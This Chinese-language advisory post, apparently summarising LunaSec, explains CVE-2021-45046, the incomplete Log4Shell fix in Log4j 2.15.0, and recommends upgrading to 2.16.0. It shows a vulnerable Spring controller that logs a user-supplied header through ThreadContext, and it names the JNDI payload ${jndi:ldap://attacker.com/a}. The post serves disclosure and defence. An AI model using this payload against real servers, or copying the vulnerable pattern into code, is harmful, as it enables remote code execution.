Log4Shell 更新:第二个 log4j 漏洞已发布 - lunasec


在 log4j 维护者发布2.15.0解决 Log4Shell 漏洞的版本后,在CVE-2021-45046 中发现并报告了一个额外的攻击,继续建议您升级到2.16.0,以防发现进一步的漏洞来滥用此攻击。
新的 CVE(CVE-2021-45046) 发现:

  • Apache Log4j 2.15.0 中针对 CVE-2021-44228 的修复在某些非默认配置中不完整。
  • 2.7.0 <= Apache log4j <= 2.14.1情况下,如设置系统属性log4j2.noFormatMsgLookup为true不能减轻这种特定的漏洞。

Log4j 2.16.0 通过删除对消息查找模式的支持和默认禁用 JNDI 功能来完全缓解此问题。
  
对于上述第二种情况的重现:
设置系统属性log4j2.noFormatMsgLookup为true:
ENV LOG4J_FORMAT_MSG_NO_LOOKUPS true

如果你 Log4j2 属性配置包括自定义格式:
appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n

注意${ctx:apiversion}格式字符串指的是ThreadContext中的一个名为apiversion值。ThreadContext是线程上下文,用来在线程之间共享变量或状态的。
在代码中使用:
ThreadContext.put("apiversion", apiVersion);
就可以将apiversion值放入线程上下文,供Log4j的自定义格式使用。
例如详细代码如下:
@GetMapping("/")
public String index(@RequestHeader(
"X-Api-Version") String apiVersion) {

   
// Add user controlled input to threadcontext;
   
// Used in log via ${ctx:apiversion}
    ThreadContext.put(
"apiversion", apiVersion);

   
// Notice how these changes remove apiVersion from directly being logged
    logger.info(
"Received a request for API version");
    return
"Hello, world!";
}

上述代码将外部输入参数apiVersion直接保存到线程上下文ThreadContext中,然后Log4j2再根据自定义配置将其打印输出出来。
这是整个新的漏洞路径。
如果攻击者使用$ {jndi: ldap: //attacker.com/a}作为你的系统的输入参数,也就是赋值给上述代码的apiVersion变量,就可以通过这个新的漏洞路径运行他自己的任意程序了。


详情点击标题